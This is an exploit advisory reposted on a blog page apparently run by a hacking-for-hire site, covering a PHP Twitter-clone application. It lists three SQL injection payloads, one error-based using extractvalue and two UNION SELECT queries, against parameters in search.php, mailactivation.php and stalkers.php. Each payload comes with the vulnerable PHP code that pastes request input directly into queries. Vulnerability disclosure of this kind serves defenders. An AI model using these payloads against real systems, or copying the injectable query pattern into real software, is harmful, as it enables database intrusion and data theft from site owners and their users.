Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863537714

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Twitter-Clone 1 - 'code' SQL Injection
# Date: 2018-08-22
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
# Version: 1
# CVE: N/A
# Tested on: Win 10
# vulnerable files : [mailactivation.php , stalkers.php , search.php]
# vulnerable parameters : [name , code , id]

# 1) search.php :
# vulnerable parameter : name
# Type : Error-based
# Payload : 

%' AND extractvalue(1,concat(0x3a,database(),0x3a))%23

# vulnerable code :
if($_GET['name']!=""){
$what = $_GET['name'];
include "connect.php";
$users = mysqli_query($con, "SELECT id, username, followers, following,
tweets
  FROM users
 WHERE username LIKE '%$what%'
 ORDER BY username ASC
 LIMIT 0, 10
");

# 2) mailactivation.php :
# vulnerable parameter : code
# Type : Union query
# Payload : 

' UNION SELECT 1,user(),3,4,5,6%23

# vulnerable code :
include "connect.php";
$givenname = $_GET['username'];
$givencode = $_GET['code'];
$query = mysqli_query($con, "SELECT code, active
  FROM users
  WHERE code = '$givencode' AND username = '$givenname'
 ");
$row = mysqli_fetch_assoc($query);
$wantedcode = $row['code'];

# 3) stalkers.php :
# vulnerable parameter : id
# Type : Union query
# Payload : 

' UNION SELECT 1,2,user(),4,5,6

# vulnerable code :
if ($_GET['id'] != "") {
$theid = $_GET['id'];
include "connect.php";
$stalked = mysqli_query($con, "SELECT id, username, followers, following
 FROM users
  WHERE id = '$theid'
");
$row1 = mysqli_fetch_assoc($stalked);
$usern = $row1['username'];